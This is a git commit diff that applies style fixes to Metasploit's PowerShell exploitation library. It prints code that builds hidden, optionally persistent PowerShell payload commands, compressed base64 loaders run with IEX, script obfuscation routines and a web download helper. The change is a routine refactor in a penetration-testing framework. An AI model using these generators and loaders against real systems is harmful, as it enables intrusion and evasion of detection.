Cheat/Rubycop all the things

bug/bundler_fix
Meatballs 2014-07-20 21:07:59 +01:00
parent 474ee81807
commit 5f0533677e
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
9 changed files with 308 additions and 353 deletions

View File

@ -3,7 +3,6 @@ require 'rex/exploitation/powershell'
module Msf module Msf
module Exploit::Powershell module Exploit::Powershell
PowershellScript = Rex::Exploitation::Powershell::Script PowershellScript = Rex::Exploitation::Powershell::Script
def initialize(info = {}) def initialize(info = {})
@ -16,12 +15,7 @@ module Exploit::Powershell
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]), OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]), OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]), OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', [ OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
'net',
'reflection',
'old',
'msil'
]]),
], self.class) ], self.class)
end end
@ -36,7 +30,7 @@ module Exploit::Powershell
# Build script object # Build script object
psh = PowershellScript.new(script_in) psh = PowershellScript.new(script_in)
# Invoke enabled modifiers # Invoke enabled modifiers
datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k| datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
mod_method = k.split('::').last.intern mod_method = k.split('::').last.intern
psh.send(mod_method) psh.send(mod_method)
end end
@ -56,7 +50,7 @@ module Exploit::Powershell
# Build script object # Build script object
psh = PowershellScript.new(script_in) psh = PowershellScript.new(script_in)
# Invoke enabled modifiers # Invoke enabled modifiers
datastore.select {|k,v| k =~ /^Powershell::(strip|sub)/ and v}.keys.map do |k| datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
mod_method = k.split('::').last.intern mod_method = k.split('::').last.intern
psh.send(mod_method) psh.send(mod_method)
end end
@ -75,14 +69,14 @@ module Exploit::Powershell
# #
# @return [String] Powershell command line with arguments # @return [String] Powershell command line with arguments
def generate_psh_command_line(opts) def generate_psh_command_line(opts)
if opts[:path] and (opts[:path][-1,1] != "\\") if opts[:path] and (opts[:path][-1, 1] != '\\')
opts[:path] << "\\" opts[:path] << '\\'
end end
if opts[:no_full_stop] if opts[:no_full_stop]
binary = "powershell" binary = 'powershell'
else else
binary = "powershell.exe" binary = 'powershell.exe'
end end
args = generate_psh_args(opts) args = generate_psh_args(opts)
@ -122,13 +116,13 @@ module Exploit::Powershell
# #
# @return [String] Powershell command arguments # @return [String] Powershell command arguments
def generate_psh_args(opts) def generate_psh_args(opts)
return "" unless opts return '' unless opts
unless opts.has_key? :shorten unless opts.key? :shorten
opts[:shorten] = (datastore['Powershell::method'] != 'old') opts[:shorten] = (datastore['Powershell::method'] != 'old')
end end
arg_string = " " arg_string = ' '
opts.each_pair do |arg, value| opts.each_pair do |arg, value|
case arg case arg
when :encodedcommand when :encodedcommand
@ -140,25 +134,25 @@ module Exploit::Powershell
when :file when :file
arg_string << "-File #{value} " if value arg_string << "-File #{value} " if value
when :noexit when :noexit
arg_string << "-NoExit " if value arg_string << '-NoExit ' if value
when :nologo when :nologo
arg_string << "-NoLogo " if value arg_string << '-NoLogo ' if value
when :noninteractive when :noninteractive
arg_string << "-NonInteractive " if value arg_string << '-NonInteractive ' if value
when :mta when :mta
arg_string << "-Mta " if value arg_string << '-Mta ' if value
when :outputformat when :outputformat
arg_string << "-OutputFormat #{value} " if value arg_string << "-OutputFormat #{value} " if value
when :sta when :sta
arg_string << "-Sta " if value arg_string << '-Sta ' if value
when :noprofile when :noprofile
arg_string << "-NoProfile " if value arg_string << '-NoProfile ' if value
when :windowstyle when :windowstyle
arg_string << "-WindowStyle #{value} " if value arg_string << "-WindowStyle #{value} " if value
end end
end end
#Command must be last (unless from stdin - etc) # Command must be last (unless from stdin - etc)
if opts[:command] if opts[:command]
arg_string << "-Command #{opts[:command]}" arg_string << "-Command #{opts[:command]}"
end end
@ -182,10 +176,10 @@ module Exploit::Powershell
arg_string.gsub!('-WindowStyle ', '-w ') arg_string.gsub!('-WindowStyle ', '-w ')
end end
#Strip off first space character # Strip off first space character
arg_string = arg_string[1..-1] arg_string = arg_string[1..-1]
#Remove final space character # Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == " ") arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
arg_string arg_string
end end
@ -202,14 +196,14 @@ module Exploit::Powershell
# @return [String] Wrapped powershell code # @return [String] Wrapped powershell code
def run_hidden_psh(ps_code, payload_arch, encoded) def run_hidden_psh(ps_code, payload_arch, encoded)
arg_opts = { arg_opts = {
:noprofile => true, noprofile: true,
:windowstyle => 'hidden', windowstyle: 'hidden',
} }
if encoded if encoded
arg_opts[:encodedcommand] = ps_code arg_opts[:encodedcommand] = ps_code
else else
arg_opts[:command] = ps_code.gsub("'","''") arg_opts[:command] = ps_code.gsub("'", "''")
end end
# Old technique fails if powershell exits.. # Old technique fails if powershell exits..
@ -224,7 +218,7 @@ $s.Arguments='#{ps_args}'
$s.UseShellExecute=$false $s.UseShellExecute=$false
$p=[System.Diagnostics.Process]::Start($s) $p=[System.Diagnostics.Process]::Start($s)
EOS EOS
process_start_info.gsub!("\n",';') process_start_info.gsub!("\n", ';')
archictecure_detection = <<EOS archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){ if([IntPtr]::Size -eq 4){
@ -234,7 +228,7 @@ if([IntPtr]::Size -eq 4){
}; };
EOS EOS
archictecure_detection.gsub!("\n","") archictecure_detection.gsub!("\n", '')
archictecure_detection + process_start_info archictecure_detection + process_start_info
end end
@ -264,17 +258,17 @@ EOS
# argument in single quotes unless :encode_final_payload # argument in single quotes unless :encode_final_payload
# #
# @return [String] Powershell command line with payload # @return [String] Powershell command line with payload
def cmd_psh_payload(pay, payload_arch, opts={}) def cmd_psh_payload(pay, payload_arch, opts = {})
opts[:persist] ||= datastore['Powershell::persist'] opts[:persist] ||= datastore['Powershell::persist']
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep'] opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
opts[:method] ||= datastore['Powershell::method'] opts[:method] ||= datastore['Powershell::method']
if opts[:encode_inner_payload] && opts[:encode_final_payload] if opts[:encode_inner_payload] && opts[:encode_final_payload]
raise RuntimeError, ":encode_inner_payload and :encode_final_payload are incompatible options" fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end end
if opts[:no_equals] && !opts[:encode_final_payload] if opts[:no_equals] && !opts[:encode_final_payload]
raise RuntimeError, ":no_equals requires :encode_final_payload option to be used" fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end end
psh_payload = case opts[:method] psh_payload = case opts[:method]
@ -285,15 +279,15 @@ EOS
when 'old' when 'old'
Msf::Util::EXE.to_win32pe_psh(framework, pay) Msf::Util::EXE.to_win32pe_psh(framework, pay)
when 'msil' when 'msil'
raise RuntimeError, "MSIL Powershell method no longer exists" fail RuntimeError, 'MSIL Powershell method no longer exists'
else else
raise RuntimeError, "No Powershell method specified" fail RuntimeError, 'No Powershell method specified'
end end
# Run our payload in a while loop # Run our payload in a while loop
if opts[:persist] if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2)+2) fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
sleep_time = rand(5)+5 sleep_time = rand(5) + 5
vprint_status("Sleep time set to #{sleep_time} seconds") vprint_status("Sleep time set to #{sleep_time} seconds")
psh_payload = "function #{fun_name}{#{psh_payload}};" psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};" psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
@ -334,8 +328,8 @@ EOS
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded) final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
command_args = { command_args = {
:noprofile => true, noprofile: true,
:windowstyle => 'hidden' windowstyle: 'hidden'
}.merge(opts) }.merge(opts)
if opts[:encode_final_payload] if opts[:encode_final_payload]
@ -345,14 +339,14 @@ EOS
# payload contains none. # payload contains none.
if opts[:no_equals] if opts[:no_equals]
while command_args[:encodedcommand].include? '=' while command_args[:encodedcommand].include? '='
final_payload << " " final_payload << ' '
command_args[:encodedcommand] = encode_script(final_payload) command_args[:encodedcommand] = encode_script(final_payload)
end end
end end
else else
if opts[:use_single_quotes] if opts[:use_single_quotes]
# Escape Single Quotes # Escape Single Quotes
final_payload.gsub!("'","''") final_payload.gsub!("'", "''")
# Wrap command in quotes # Wrap command in quotes
final_payload = "'#{final_payload}'" final_payload = "'#{final_payload}'"
end end
@ -370,20 +364,17 @@ EOS
vprint_status("Powershell command length: #{command.length}") vprint_status("Powershell command length: #{command.length}")
if command.length > 8191 if command.length > 8191
raise RuntimeError, "Powershell command length is greater than the command line maximum (8192 characters)" fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end end
command command
end end
# #
# Useful method cache # Useful method cache
# #
module PshMethods module PshMethods
include Rex::Exploitation::Powershell::PshMethods include Rex::Exploitation::Powershell::PshMethods
end end
end end
end end

View File

@ -9,58 +9,54 @@ require 'rex/exploitation/powershell/script'
require 'rex/exploitation/powershell/psh_methods' require 'rex/exploitation/powershell/psh_methods'
module Rex module Rex
module Exploitation module Exploitation
module Powershell
#
# Reads script into a PowershellScript
#
# @param script_path [String] Path to the Script File
#
# @return [Script] Powershell Script object
def self.read_script(script_path)
Rex::Exploitation::Powershell::Script.new(script_path)
end
module Powershell #
# Insert substitutions into the powershell script
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
# @param script [String] Script file or path to script
# @param subs [Array] Substitutions to insert
#
# @return [String] Modified script file
def self.make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end
# subs.each do |set|
# Reads script into a PowershellScript script.gsub!(set[0], set[1])
# end
# @param script_path [String] Path to the Script File
#
# @return [Script] Powershell Script object
def self.read_script(script_path)
Rex::Exploitation::Powershell::Script.new(script_path)
end
# script
# Insert substitutions into the powershell script end
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file #
# # Return an array of substitutions for use in make_subs
# @param script [String] Script file or path to script #
# @param subs [Array] Substitutions to insert # @param subs [String] A ; seperated list of substitutions
# #
# @return [String] Modified script file # @return [Array] An array of substitutions
def self.make_subs(script, subs) def self.process_subs(subs)
if ::File.file?(script) return [] if subs.nil? or subs.empty?
script = ::File.read(script) new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
new_subs
end
end end
subs.each do |set|
script.gsub!(set[0],set[1])
end
script
end end
#
# Return an array of substitutions for use in make_subs
#
# @param subs [String] A ; seperated list of substitutions
#
# @return [Array] An array of substitutions
def self.process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
new_subs
end
end end
end
end

View File

@ -2,9 +2,7 @@
module Rex module Rex
module Exploitation module Exploitation
module Powershell module Powershell
class Function class Function
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i) FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im) PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
@ -14,7 +12,7 @@ module Powershell
include Parser include Parser
include Obfu include Obfu
def initialize(name,code) def initialize(name, code)
@name = name @name = name
@code = code @code = code
populate_params populate_params
@ -37,7 +35,7 @@ module Powershell
start = code.index(PARAMETER_REGEX) start = code.index(PARAMETER_REGEX)
return unless start return unless start
# Get start of our block # Get start of our block
idx = scan_with_index('(',code[start..-1]).first.last + start idx = scan_with_index('(', code[start..-1]).first.last + start
pclause = block_extract(idx) pclause = block_extract(idx)
matches = pclause.scan(FUNCTION_REGEX) matches = pclause.scan(FUNCTION_REGEX)
@ -50,7 +48,7 @@ module Powershell
if value if value
if klass if klass
name = value name = value
@params << Param.new(klass,name) @params << Param.new(klass, name)
break break
else else
klass = value klass = value
@ -60,8 +58,6 @@ module Powershell
end end
end end
end end
end end
end end
end end

View File

@ -4,9 +4,7 @@ require 'rex/text'
module Rex module Rex
module Exploitation module Exploitation
module Powershell module Powershell
module Obfu module Obfu
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m) MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i) SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
@ -21,9 +19,9 @@ module Powershell
# @return [String] code without comments # @return [String] code without comments
def strip_comments def strip_comments
# Multi line # Multi line
code.gsub!(MULTI_LINE_COMMENTS_REGEX,'') code.gsub!(MULTI_LINE_COMMENTS_REGEX, '')
# Single line # Single line
code.gsub!(SINGLE_LINE_COMMENTS_REGEX,'') code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '')
code code
end end
@ -34,9 +32,9 @@ module Powershell
# @return [String] code without empty lines # @return [String] code without empty lines
def strip_empty_lines def strip_empty_lines
# Windows EOL # Windows EOL
code.gsub!(WINDOWS_EOL_REGEX,"\r\n") code.gsub!(WINDOWS_EOL_REGEX, "\r\n")
# UNIX EOL # UNIX EOL
code.gsub!(UNIX_EOL_REGEX,"\n") code.gsub!(UNIX_EOL_REGEX, "\n")
code code
end end
@ -47,7 +45,7 @@ module Powershell
# #
# @return [String] code with whitespace stripped # @return [String] code with whitespace stripped
def strip_whitespace def strip_whitespace
code.gsub!(WHITESPACE_REGEX,' ') code.gsub!(WHITESPACE_REGEX, ' ')
code code
end end
@ -58,7 +56,7 @@ module Powershell
# @return [String] code with variable names replaced with unique values # @return [String] code with variable names replaced with unique values
def sub_vars def sub_vars
# Get list of variables, remove reserved # Get list of variables, remove reserved
get_var_names.each do |var,sub| get_var_names.each do |var, _sub|
code.gsub!(var, "$#{@rig.init_var(var)}") code.gsub!(var, "$#{@rig.init_var(var)}")
end end
@ -72,7 +70,7 @@ module Powershell
# values # values
def sub_funcs def sub_funcs
# Find out function names, make map # Find out function names, make map
get_func_names.each do |var, sub| get_func_names.each do |var, _sub|
code.gsub!(var, @rig.init_var(var)) code.gsub!(var, @rig.init_var(var))
end end
@ -83,21 +81,18 @@ module Powershell
# Perform standard substitutions # Perform standard substitutions
# #
# @return [String] code with standard substitution methods applied # @return [String] code with standard substitution methods applied
def standard_subs(subs = %w{strip_comments strip_whitespace sub_funcs sub_vars} ) def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars))
# Save us the trouble of breaking injected .NET and such # Save us the trouble of breaking injected .NET and such
subs.delete('strip_whitespace') unless get_string_literals.empty? subs.delete('strip_whitespace') unless get_string_literals.empty?
# Run selected modifiers # Run selected modifiers
subs.each do |modifier| subs.each do |modifier|
self.send(modifier) send(modifier)
end end
code.gsub!(EMPTY_LINE_REGEX,'') code.gsub!(EMPTY_LINE_REGEX, '')
code code
end end
end # Obfu end # Obfu
end end
end end
end end

View File

@ -5,11 +5,8 @@ require 'rex/text'
module Rex module Rex
module Exploitation module Exploitation
module Powershell module Powershell
module Output module Output
# #
# To String # To String
# #
@ -32,7 +29,7 @@ module Powershell
# @return [String] Powershell code with line numbers # @return [String] Powershell code with line numbers
def to_s_lineno def to_s_lineno
numbered = '' numbered = ''
code.split(/\r\n|\n/).each_with_index do |line,idx| code.split(/\r\n|\n/).each_with_index do |line, idx|
numbered << "#{idx}: #{line}" numbered << "#{idx}: #{line}"
end end
@ -49,27 +46,27 @@ module Powershell
def deflate_code(eof = nil) def deflate_code(eof = nil)
# Compress using the Deflate algorithm # Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(code, compressed_stream = ::Zlib::Deflate.deflate(code,
::Zlib::BEST_COMPRESSION) ::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents # Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream) encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression # Build the powershell expression
# Decode base64 encoded command and create a stream object # Decode base64 encoded command and create a stream object
psh_expression = "$s=New-Object IO.MemoryStream(," psh_expression = '$s=New-Object IO.MemoryStream(,'
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));" psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
# Read & delete the first two bytes due to incompatibility with MS # Read & delete the first two bytes due to incompatibility with MS
psh_expression << "$s.ReadByte();" psh_expression << '$s.ReadByte();'
psh_expression << "$s.ReadByte();" psh_expression << '$s.ReadByte();'
# Uncompress and invoke the expression (execute) # Uncompress and invoke the expression (execute)
psh_expression << "IEX (New-Object IO.StreamReader(" psh_expression << 'IEX (New-Object IO.StreamReader('
psh_expression << "New-Object IO.Compression.DeflateStream(" psh_expression << 'New-Object IO.Compression.DeflateStream('
psh_expression << "$s," psh_expression << '$s,'
psh_expression << "[IO.Compression.CompressionMode]::Decompress)" psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
psh_expression << ")).ReadToEnd();" psh_expression << ')).ReadToEnd();'
# If eof is set, add a marker to signify end of code output # If eof is set, add a marker to signify end of code output
#if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end # if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
psh_expression << "echo '#{eof}';" if eof psh_expression << "echo '#{eof}';" if eof
@code = psh_expression @code = psh_expression
@ -99,17 +96,17 @@ module Powershell
# Build the powershell expression # Build the powershell expression
# Decode base64 encoded command and create a stream object # Decode base64 encoded command and create a stream object
psh_expression = "$s=New-Object IO.MemoryStream(," psh_expression = '$s=New-Object IO.MemoryStream(,'
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));" psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
# Uncompress and invoke the expression (execute) # Uncompress and invoke the expression (execute)
psh_expression << "IEX (New-Object IO.StreamReader(" psh_expression << 'IEX (New-Object IO.StreamReader('
psh_expression << "New-Object IO.Compression.GzipStream(" psh_expression << 'New-Object IO.Compression.GzipStream('
psh_expression << "$s," psh_expression << '$s,'
psh_expression << "[IO.Compression.CompressionMode]::Decompress)" psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
psh_expression << ")).ReadToEnd();" psh_expression << ')).ReadToEnd();'
# If eof is set, add a marker to signify end of code output # If eof is set, add a marker to signify end of code output
#if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end # if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
psh_expression << "echo '#{eof}';" if eof psh_expression << "echo '#{eof}';" if eof
@code = psh_expression @code = psh_expression
@ -142,15 +139,13 @@ module Powershell
begin begin
@code = Rex::Text.zlib_inflate(unencoded) @code = Rex::Text.zlib_inflate(unencoded)
rescue Zlib::DataError => e rescue Zlib::DataError => e
raise RuntimeError, "Invalid compression" raise RuntimeError, 'Invalid compression'
end end
end end
@code @code
end end
end end
end end
end end
end end

View File

@ -2,14 +2,12 @@
module Rex module Rex
module Exploitation module Exploitation
module Powershell module Powershell
class Param class Param
attr_accessor :klass, :name attr_accessor :klass, :name
def initialize(klass,name) def initialize(klass, name)
@klass = klass.strip @klass = klass.strip
@name = name.strip.gsub(/\s|,/,'') @name = name.strip.gsub(/\s|,/, '')
end end
# #
@ -20,8 +18,6 @@ module Powershell
"[#{klass}]$#{name}" "[#{klass}]$#{name}"
end end
end end
end end
end end
end end

View File

@ -1,187 +1,183 @@
# -*- coding: binary -*- # -*- coding: binary -*-
module Rex module Rex
module Exploitation module Exploitation
module Powershell
module Parser
# Reserved special variables
# Acquired with: Get-Variable | Format-Table name, value -auto
RESERVED_VARIABLE_NAMES = [
'$$',
'$?',
'$^',
'$_',
'$args',
'$ConfirmPreference',
'$ConsoleFileName',
'$DebugPreference',
'$Env',
'$Error',
'$ErrorActionPreference',
'$ErrorView',
'$ExecutionContext',
'$false',
'$FormatEnumerationLimit',
'$HOME',
'$Host',
'$input',
'$LASTEXITCODE',
'$MaximumAliasCount',
'$MaximumDriveCount',
'$MaximumErrorCount',
'$MaximumFunctionCount',
'$MaximumHistoryCount',
'$MaximumVariableCount',
'$MyInvocation',
'$NestedPromptLevel',
'$null',
'$OutputEncoding',
'$PID',
'$PROFILE',
'$ProgressPreference',
'$PSBoundParameters',
'$PSCulture',
'$PSEmailServer',
'$PSHOME',
'$PSSessionApplicationName',
'$PSSessionConfigurationName',
'$PSSessionOption',
'$PSUICulture',
'$PSVersionTable',
'$PWD',
'$ReportErrorShowExceptionClass',
'$ReportErrorShowInnerException',
'$ReportErrorShowSource',
'$ReportErrorShowStackTrace',
'$ShellId',
'$StackTrace',
'$true',
'$VerbosePreference',
'$WarningPreference',
'$WhatIfPreference'
].map(&:downcase).freeze
module Powershell #
# Get variable names from code, removes reserved names from return
module Parser #
# Reserved special variables # @return [Array] variable names
# Acquired with: Get-Variable | Format-Table name, value -auto def get_var_names
RESERVED_VARIABLE_NAMES = [ our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
'$$', our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
'$?',
'$^',
'$_',
'$args',
'$ConfirmPreference',
'$ConsoleFileName',
'$DebugPreference',
'$Env',
'$Error',
'$ErrorActionPreference',
'$ErrorView',
'$ExecutionContext',
'$false',
'$FormatEnumerationLimit',
'$HOME',
'$Host',
'$input',
'$LASTEXITCODE',
'$MaximumAliasCount',
'$MaximumDriveCount',
'$MaximumErrorCount',
'$MaximumFunctionCount',
'$MaximumHistoryCount',
'$MaximumVariableCount',
'$MyInvocation',
'$NestedPromptLevel',
'$null',
'$OutputEncoding',
'$PID',
'$PROFILE',
'$ProgressPreference',
'$PSBoundParameters',
'$PSCulture',
'$PSEmailServer',
'$PSHOME',
'$PSSessionApplicationName',
'$PSSessionConfigurationName',
'$PSSessionOption',
'$PSUICulture',
'$PSVersionTable',
'$PWD',
'$ReportErrorShowExceptionClass',
'$ReportErrorShowInnerException',
'$ReportErrorShowSource',
'$ReportErrorShowStackTrace',
'$ShellId',
'$StackTrace',
'$true',
'$VerbosePreference',
'$WarningPreference',
'$WhatIfPreference'
].map(&:downcase).freeze
#
# Get variable names from code, removes reserved names from return
#
# @return [Array] variable names
def get_var_names
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
our_vars.select {|v| !RESERVED_VARIABLE_NAMES.include?(v.downcase)}
end
#
# Get function names from code
#
# @return [Array] function names
def get_func_names
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
end
#
# Attempt to find string literals in PSH expression
#
# @return [Array] string literals
def get_string_literals
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
end
#
# Scan code and return matches with index
#
# @param str [String] string to match in code
# @param source [String] source code to match, defaults to @code
#
# @return [Array[String,Integer]] matched items with index
def scan_with_index(str,source=code)
::Enumerator.new do |y|
source.scan(str) do
y << ::Regexp.last_match
end end
end.map{|m| [m.to_s,m.offset(0)[0]]}
#
# Get function names from code
#
# @return [Array] function names
def get_func_names
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
end
#
# Attempt to find string literals in PSH expression
#
# @return [Array] string literals
def get_string_literals
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
end
#
# Scan code and return matches with index
#
# @param str [String] string to match in code
# @param source [String] source code to match, defaults to @code
#
# @return [Array[String,Integer]] matched items with index
def scan_with_index(str, source = code)
::Enumerator.new do |y|
source.scan(str) do
y << ::Regexp.last_match
end
end.map { |m| [m.to_s, m.offset(0)[0]] }
end
#
# Return matching bracket type
#
# @param char [String] opening bracket character
#
# @return [String] matching closing bracket
def match_start(char)
case char
when '{'
'}'
when '('
')'
when '['
']'
when '<'
'>'
else
fail ArgumentError, 'Unknown starting bracket'
end
end
#
# Extract block of code inside brackets/parenthesis
#
# Attempts to match the bracket at idx, handling nesting manually
# Once the balanced matching bracket is found, all script content
# between idx and the index of the matching bracket is returned
#
# @param idx [Integer] index of opening bracket
#
# @return [String] content between matching brackets
def block_extract(idx)
fail ArgumentError unless idx
if idx < 0 || idx >= code.length
fail ArgumentError, 'Invalid index'
end
start = code[idx]
stop = match_start(start)
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
delims.map { |x| x[1] = x[1] + idx + 1 }
c = 1
sidx = nil
# Go through delims till we balance, get idx
while (c != 0) && (x = delims.shift)
sidx = x[1]
x[0] == stop ? c -= 1 : c += 1
end
code[idx..sidx]
end
#
# Extract a block of function code
#
# @param func_name [String] function name
# @param delete [Boolean] delete the function from the code
#
# @return [String] function block
def get_func(func_name, delete = false)
start = code.index(func_name)
return nil unless start
idx = code[start..-1].index('{') + start
func_txt = block_extract(idx)
if delete
delete_code = code[0..idx]
delete_code << code[(idx + func_txt.length)..-1]
@code = delete_code
end
Function.new(func_name, func_txt)
end
end # Parser
end end
end
#
# Return matching bracket type
#
# @param char [String] opening bracket character
#
# @return [String] matching closing bracket
def match_start(char)
case char
when '{'
'}'
when '('
')'
when '['
']'
when '<'
'>'
else
raise ArgumentError, "Unknown starting bracket"
end
end
#
# Extract block of code inside brackets/parenthesis
#
# Attempts to match the bracket at idx, handling nesting manually
# Once the balanced matching bracket is found, all script content
# between idx and the index of the matching bracket is returned
#
# @param idx [Integer] index of opening bracket
#
# @return [String] content between matching brackets
def block_extract(idx)
raise ArgumentError unless idx
if idx < 0 || idx >= code.length
raise ArgumentError, "Invalid index"
end
start = code[idx]
stop = match_start(start)
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/,code[idx+1..-1])
delims.map {|x| x[1] = x[1] + idx + 1}
c = 1
sidx = nil
# Go through delims till we balance, get idx
while ((c != 0) && (x = delims.shift)) do
sidx = x[1]
x[0] == stop ? c -=1 : c+=1
end
code[idx..sidx]
end
#
# Extract a block of function code
#
# @param func_name [String] function name
# @param delete [Boolean] delete the function from the code
#
# @return [String] function block
def get_func(func_name, delete = false)
start = code.index(func_name)
return nil unless start
idx = code[start..-1].index('{') + start
func_txt = block_extract(idx)
if delete
delete_code = code[0..idx]
delete_code << code[(idx+func_txt.length)..-1]
@code = delete_code
end
Function.new(func_name,func_txt)
end
end # Parser
end end
end
end

View File

@ -2,15 +2,12 @@
module Rex module Rex
module Exploitation module Exploitation
module Powershell module Powershell
## ##
# Convenience methods for generating powershell code in Ruby # Convenience methods for generating powershell code in Ruby
## ##
module PshMethods module PshMethods
# #
# Download file via .NET WebClient # Download file via .NET WebClient
# #
@ -20,7 +17,7 @@ module Powershell
# @return [String] Powershell code to download a file # @return [String] Powershell code to download a file
def self.download(src, target) def self.download(src, target)
target ||= '$pwd\\' << src.split('/').last target ||= '$pwd\\' << src.split('/').last
return %Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^ %Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
end end
# #
@ -31,9 +28,9 @@ module Powershell
# the application name # the application name
# #
# @return [String] Powershell code to uninstall an application # @return [String] Powershell code to uninstall an application
def self.uninstall(app,fuzzy=true) def self.uninstall(app, fuzzy = true)
match = fuzzy ? '-like' : '-eq' match = fuzzy ? '-like' : '-eq'
return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^ %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end end
# #
@ -43,7 +40,7 @@ module Powershell
# #
# @return [String] Powershell code to create a SecureString # @return [String] Powershell code to create a SecureString
def self.secure_string(str) def self.secure_string(str)
return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^ %Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
end end
# #
@ -54,7 +51,7 @@ module Powershell
# @return [String] Powershell code to identify the PID of a file # @return [String] Powershell code to identify the PID of a file
# lock owner # lock owner
def self.who_locked_file(filename) def self.who_locked_file(filename)
return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^ %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end end
# #
@ -65,11 +62,9 @@ module Powershell
# @return [String] Powershell code to return the last time of a user # @return [String] Powershell code to return the last time of a user
# login # login
def self.get_last_login(user) def self.get_last_login(user)
return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^ %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end end
end end
end end
end end
end end

View File

@ -4,9 +4,7 @@ require 'rex'
module Rex module Rex
module Exploitation module Exploitation
module Powershell module Powershell
class Script class Script
attr_accessor :code attr_accessor :code
attr_reader :functions, :rig attr_reader :functions, :rig
@ -17,9 +15,9 @@ module Powershell
